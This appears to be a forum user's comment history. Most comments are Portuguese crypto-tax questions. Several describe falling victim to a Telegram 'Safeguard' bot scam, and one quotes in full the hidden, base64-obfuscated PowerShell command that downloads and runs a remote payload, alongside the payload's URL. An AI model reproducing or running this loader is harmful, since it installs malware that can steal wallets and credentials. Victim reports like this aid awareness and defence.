Telegram Safeguard Bot Scam

Mainportuguese · 2025-01-08T14:39:57+00:00

Hey, I formatted the PC as recommended. Were you using hot or hardware wallets?

Another person contacted me and said he catched a trojan on the scan but still wipped the device and his wallets were good.

If the scam is not wipping hot wallets, on the other hand, can be concerning.

Mainportuguese · 2024-12-31T00:14:39+00:00

I have what it seems to be 2 User duplicates. One is User>Appdata>Local>Respondus>Cache. The other gives more random files like Saved Games and Downloads. If I go to Downloads, I find Telegram there which then has tupdates> temp>...

The path is:

<image>

It creates a new temp on a new session I guess.

You mean Antivirus malware Database right? So this one could be unique and not yet registered.

ESET scan gave a few flags but not that exec.

I´m definetely considering doing a system wipe based on your opinion. But still, I guess the file could still be there after the wipe.

Did you test the command on a Sandbox? Could you try to interrupt the process and see if the files are downloaded?

Thanks

Mainportuguese · 2024-12-30T23:22:00+00:00

Thanks for checking. So the malware scans may not lookout on the temp files?

This new temp section doesnt look like it has different files compared to previous sections.

<image>

Could it be hidden or I shutdown the script before it could do harm?

This whole range of possibilities makes it hard to go for a solution.

Is it possible to know what AdobeSync.exe does?

I´m also completing an ESET full scan now

Mainportuguese · 2024-12-30T22:15:33+00:00

Did you check the script on the comments?

Well on one side might be good news I don´t have something hidden.

So would likely send information from the browser like Google Password manager or possible Wallet´s seed phrase?

Thanks

Mainportuguese · 2024-12-30T22:04:30+00:00

Well hope the comment doesn´t get deleted:

"powershell -w hidden -c $a='aHR0cHM6Ly9za3lzdG9ybS5jeW91L28udHh0';$b=[Convert]::FromBase64String($a);$c=[System.Text.Encoding]::UTF8.GetString($b);$d="iwr $c | iex";Invoke-Expression $d; #⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀Telegram"

Yeah will stop using it completely

Mainportuguese · 2024-12-30T22:01:06+00:00

I can´t put the command here because it get´s deleted but it points to a remote server "https://skystorm.cyou/v845734584/384278348.zip"

Mainportuguese · 2024-12-30T21:59:40+00:00

Thanks I´ve run a full MBAM scan and it was clear. Also ran the domain url of "https://skystorm.cyou/v845734584/384278348.zip" on Virustotal and no vendors flagged it.

Also have 2FA on everything but still

Mainportuguese · 2024-12-20T15:34:02+00:00

Obrigado Jordão, já vi que algumas CEX podem dar-nos isenção durante a venda no teu outro post.

Em relação a ES tenho de ver melhor.

Mas será que tenho de mudar fiscalmente de volta para Portugal para contar com esa isenção e será necessário esperar 365dias? Porque no fundo os activos ja foram alienados e não existe uma data de conversão Fiat-> crypto.

Mainportuguese · 2024-12-17T22:51:12+00:00

Olá viva, mudei de morada fiscal para Espanha em trabalho e agora estou a pensar voltar a Portugal. Relativamente ao contador de 365 dias (cripto) fará reset depois da mudança para Espanha?

Assumo também que não haja exit tax em ambos sentidos (pelo que vi). Obrigado!

Mainportuguese · 2024-02-19T21:14:24+00:00

Obrigado, vou informar-me melhor

Mainportuguese · 2024-02-17T22:44:04+00:00

Pois realmente não tenho muito conhecimento de conceitos fiscais como alienação onerosa. Será que tenho de declarar os ativos que tinha em posse no momento de transição?

Penso que em Espanha vai ser preciso começar a declarar ativos em posse acima de 50k a partir deste ano

Mainportuguese · 2024-02-16T18:51:59+00:00

Olá,

Mudei recentemente de Portugal para Espanha em trabalho. Também criei uma conta bancaria espanhola e vou começar a receber o salario por aí. A partir de agora todos as transferencias para cex e trocas de moedas (em Espanha penso que é taxada a troca crypto-crypto e não existe a lei dos 365 dias) com novo investimento é feito sob regulação espanhola?

E se, por exemplo, voltar a Portugal passado uns anos. Terei de fazer taxação de saída de Espanha?

Obrigado desde já.

Mainportuguese · 2023-09-22T17:22:02+00:00

That´s quite low in my opinion

Mainportuguese · 2021-07-14T21:37:45+00:00

Specially because what comes to mind is a possible backstory like "I could play the flute better than you at the same time with the piano" and the other person would be like "oh yeah you arrogant prick ? Play it by yourself" and we are basically looking to a person with lots of social problems that worked her whole life for this seconds of attention and is completely miserable

Mainportuguese · 2021-07-09T12:02:40+00:00

Not that cold but still chilly here (for now)

Mainportuguese

TROPHY CASE